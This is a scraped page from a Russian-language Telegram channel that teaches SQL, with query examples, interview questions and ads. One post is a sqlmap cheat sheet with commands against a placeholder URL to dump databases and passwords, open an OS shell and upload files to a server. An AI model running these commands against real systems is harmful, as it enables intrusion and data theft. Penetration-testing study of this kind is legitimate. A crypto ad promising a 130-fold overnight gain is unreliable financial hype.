sql_tg | Unsorted

Telegram-канал sql_tg - SQL и БД Learning

11177

Изучаем SQL с нуля По всем вопросам @valentin_mascarov Реклама на бирже - https://telega.in/c/SQl_and_DB_Learning № 4974313625

Subscribe to a channel

SQL и БД Learning

Как хранить сеть дорог в БД для построения маршрута?

Смотреть статью

Читать полностью…

SQL и БД Learning

🖥 Предположим, что нам необходимо получить данные о сотруднике, имеющем вторую по величине зарплату в компании. Мы можем использовать следующий запрос:

WITH employee_ranking AS (
SELECT
employee_id,
last_name,
first_name,
salary,
RANK() OVER (ORDER BY salary DESC) as ranking
FROM employee
)
SELECT
employee_id,
last_name,
first_name,
salary
FROM employee_ranking
WHERE ranking = 2

Условие WHERE ranking = 2 используется для фильтрации строк второй по величине зарплаты. Обратите внимание, что на позиции 2 может находиться более одного сотрудника, если у них одинаковая зарплата.

Читать полностью…

SQL и БД Learning

PostgreSQL 17: архитектура и тюнинг SQL-запросов

Погрузись в архитектуру и прокачай оптимизацию запросов одной из самых популярных open source СУБД – PostgreSQL.

🌐 В программе курса:

🤩 Разберем, как работают СУБД вообще и PostgreSQL в частности: что такое MVCC, ACID, WAL, LRU, PPC/TPC и другие фундаментальные понятия архитектуры баз данных
🤩 Получите свой собственный выделенный облачный PostgreSQL-сервер (8 vCPU, 12G RAM, 100G NVMe) – БЕСПЛАТНО на время обучения предоставляется
🤩 Получите теорию и практику EXPLAIN и EXPLAIN ANALYZE на разных типа запросов
🤩 Изучите архитектуру хранения данных в PostgreSQL, типы и особенности индексов, а также получите полезные советы и трюки оптимизации БД

🗓 Старт курса: 6 марта. Продолжительность: 5 недель обучения (четверг, 18:00 МСК).

Изучить программу и записаться можно здесь.

🤩Кто мы: R&D-центр Devhands, основатель школы Алексей Рыбак.
Автор курса — Николай Ихалайнен, эксперт по СУБД (ex-Percona), со-основатель MyDB, энтузиаст открытого ПО.

Реклама. ИП Рыбак А.А. ИНН 771407709607 Erid: 2VtzqvSHeZb

Читать полностью…

SQL и БД Learning

NULL-значения в PostgreSQL: правила и исключения

Смотреть статью

Читать полностью…

SQL и БД Learning

TRUNCATE мгновенно удаляет все строки в таблице

Одновременно удалите строки из дочерних таблиц с помощью функции

TRUNCATE TABLE ... CASCADE

Для этого внешние ключи должны быть ON DELETE CASCADE

Читать полностью…

SQL и БД Learning

🖥 Список СУБД

Читать полностью…

SQL и БД Learning

💸 Вакансии для IT'шников
Выбери своё направление

1. Frontend
2. Python
3. Java
4. Тестировщик QA
5. Data Science
6. DevOps
7. C#
8. С/C++
9. Golang
10. PHP
11. Kotlin
12. Swift
13. Node.js
14. 1C
15. Flutter / Dart
16. Unity
17. Product Manager
18. Project Manager
19. System Analyst
20. Bussines Analyst

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

При выборке из таблицы workers выведите дату в формате '31.12.2025'

Ответ на картинке.

Читать полностью…

SQL и БД Learning

Задача

Выбрать все записи из таблицы tbl_name и отсортировать их по полю id в обратном порядке.

Читать полностью…

SQL и БД Learning

🔐 Шпаргалка по использованию sqlmap

SQLMAP — это инструмент для проникновения с открытым исходным кодом.

SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .

Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.

🌟 Базовый скан URL на наличие уязвимостей:


sqlmap -u "http://example.com/page.php?id=1"


🌟 Автоматический дамп всех баз данных:

sqlmap -u "http://example.com/page.php?id=1" --dbs


🌟 Извлечение таблиц из конкретной базы данных:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables


🌟 Извлечение данных из конкретной таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump


🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"


🌟 Подбор базы данных и получение информации о пользователях:

sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user


🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:

sqlmap -u "http://example.com/page.php?id=1" --os-shell


🌟 Выполнение SQL-запросов вручную:

sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"


🌟 Проверка на возможность подключения с правами администратора:

sqlmap -u "http://example.com/page.php?id=1" --is-dba


🌟 Брутфорсирование паролей пользователей:

sqlmap -u "http://example.com/page.php?id=1" --passwords


🌟 Загрузка файла на удаленный сервер:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"


🌟 Получение списка столбцов из таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns


🌟 Использование прокси-сервера:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"


🌟 Определение используемой базы данных и версии:

sqlmap -u "http://example.com/page.php?id=1" --banner


🌟 Атака на POST-запросы (если параметры передаются в теле):

sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"

Читать полностью…

SQL и БД Learning

Шпаргалка по SQL (postgres), которая выручает меня на собесах

Смотреть статью

Читать полностью…

SQL и БД Learning

Всем привет! На канале Бизнес, IT и статистика разбираются темы и вопросы, которые должен знать аналитик данных, имеющий опыт 3-6 лет. Все темы взяты из реальных вакансий, опубликованных на hh.ru. 

Если вы являетесь аналитиком данных (начинающим или опытным) или работаете по смежной профессии, либо просто интересуетесь базами данных, Python, SQL, экономикой и финансами и всеми производными от этих тем - добро пожаловать на канал! 

🟠Список разобранных вопросов:

✅Python:

▶️Эмбеддинги предложений
▶️Алгоритм кластеризации
▶️Кластеризация текстовой информации 

✅SQL и базы данных:

▶️PARTITION в SQL
▶️Какие бывают базы данных 
▶️Виды БД наглядно 
▶️ACID и BASE
▶️Обзор ClickHouse

▶️arraySort, arrayReverseSort и arrayFilter в ClickHouse 

✅А/Б тестирование:

▶️Основы А/Б тестов 
▶️А/Б тесты на практике 
▶️Математические методы проверки результатов 
▶️Инструменты А/Б тестирования 

OLAP-кубы 

✅Статистика:
▶️Парадокс Симпсона 

🟠В ближайшем будущем будем разбирать:

▶️Больше про базы данных, архитектуру и т.п.
▶️SQL (в частности вложенные запросы, процедуры, функции, пакеты, циклы, курсор)
▶️Больше питоновских библиотек
▶️Hadoop, Airflow, Hive, Clickhouse, pyspark
▶️BI инструменты
▶️Apache Zeppelin, Apache Superset, Redash
+ советы и наблюдения из практики, немного про экономику и статистику и актуальные тематические новости

Реклама. Куликов М.Д. ИНН 502413079218. erid: 2W5zFJHcymJ

Читать полностью…

SQL и БД Learning

SQL — Числовые функции. Подробная шпаргалка.

Смотреть

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

Получите SQL запросом все возрасты без дублирования

Ответ картинке.

Читать полностью…

SQL и БД Learning

LeetCode теперь в Telegram!

LeetCode — это сайт, который позволяет быстро готовиться к техническим собеседованиям по программированию. Там публикуются задачи с собеседований в Google и Microsoft с решениями.

Подписывайтесь: @leetcode

Читать полностью…

SQL и БД Learning

Простой и эффективный метод удаления дубликатов из таблицы

Предположим, у нас есть простая таблица с двумя столбцами: id – это первичный ключ и v простое целочисленное значение

Приведенный код создает таблицу и вставляет несколько значений. Выведем на экран все строки из нашей тестовой таблицы. Как видите, id имеет уникальные значения, но поле val имеет содержит дубликаты (фото 1).

Наша задача состоит в том, чтобы удалить строки с поввторяющимися значениями в столбце val и сохранить уникальные значения с минимальным значением идентификатора id.

Для начала попробуем найти дубликаты. Мы можем использовать простое LEFT JOIN таблицы самой с собой по полю val с дополнительным условием для предотвращения объединения идентичных строк (для наглядности дадим алиасы для таблицы и копии) (фото 2).

В конечном итоге видно, что уникальные строки с минимальным id имеют (null) в столбцах из copy_tbl. Это происходит потому что для минимального значения id в исходной таблице нет строк соответсвующих условию в таблице копии. Итак, нам нужно оставить строки в которых нет соответствия (уникальные) и удалить. Это можно осуществить следующим запросом (фото 2).

Читать полностью…

SQL и БД Learning

Делаем SQL-запросы чище

Периодически в коде запросов и "заточенных" под них индексов наблюдаю примерно подобные куски:


coalesce("Фамилия", '') || ' ' || coalesce("Имя", '') || ' ' || coalesce("Отчество", '')


Понятно, что тут хотели обезопасить себя от заполненности любого из полей NULL-значением, чтобы случайно вся строка не заNULL'илась.

Правда, тут возникают некоторые артефакты в виде "висящих пробелов" типа ' Иван Иванович' или 'Иванов Иван '.

Но ведь есть решение изящнее и проще - функция concat_ws:
concat_ws(' ', "Фамилия", "Имя", "Отчество")

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

В чем разница между функциями NOW() и CURRENT_DATE() в PostgreSQL/MySQL?

NOW() возвращает время, когда начал исполняться оператор.

Основное различие между NOW() и CURRENT_DATE() заключается в том, что NOW() получает текущую дату и время в формате 'YYYY-MM-DD HH:MM:SS', а CURRENT_DATE() получает дату текущего дня 'YYYY-MM-DD'.

Читать полностью…

SQL и БД Learning

У Nvidia снова проблемы с разъемами? Рассказываем, как не ошибиться в выборе железа!

Можно бесконечно читать новости про плавящиеся коннекторы, но лучше просто взять правильное железо и не волноваться.

Мы собрали гайд по выбору оборудования для LLM, где разобрали всё по полочкам:
🔹Какие бывают задачи?
🔹Какие требования к железу для конкретной задачи?
🔹На что обратить внимание при выборе сервера?

Выбрать железо, которое не подведёт в самый ответственный момент: @artificial_intelion_bot

Читать полностью…

SQL и БД Learning

Компактная таблица-шпаргалка по SQL.

Шпаргалка

Читать полностью…

SQL и БД Learning

Аномалии под нагрузкой в PostgreSQL: о чём стоит помнить и с чем надо бороться

Читать статью

Читать полностью…

SQL и БД Learning

Создание поля, объединяющего имя и зарплату в выборке из таблицы пользователей

Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.

Пример SQL-запроса для создания поля new_field на фото.

В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.

Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.

Читать полностью…

SQL и БД Learning

Каким образом можно получить список клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев?

Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.

Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.

Читать полностью…

SQL и БД Learning

Если бы вы купили TRUMP coin на старте на 1000$, то уже сейчас у вас бы было 130.000$

Только вдумайтесь: Утром покупаете монет на 1000$, а уже через день 1000$ превратилась в 130.000$. Неплохо, правда?

Чтобы быть в тренде – достаточно читать Максима Гусева

Там рассказывают кейсы, как с 1000$ колотят состояние, а не просирают все.

Если хотите разбираться в мире крипты, вам сюда: /channel/+fxR-tkBeKItjZjM6

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года

Ответ на картинке.

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года

Ответ на картинке.

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

Переименуйте таблицу table2 в table3

Ответ на картинке.

Читать полностью…

SQL и БД Learning

DROP COLUMN

Чтобы удалить определенный столбец из таблицы, мы сделаем следующее.

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

Объясните различные типы нормализации

Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.

Первая нормальная форма (1NF) — нет повторяющихся групп в строках
Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца

Читать полностью…

SQL и БД Learning

#Вопросы_с_собеседования

Выберите из таблицы workers все записи так, чтобы вместо id было userId, вместо login – userLogin, вместо salary - userSalary

Ответ на картинке.

Читать полностью…
Subscribe to a channel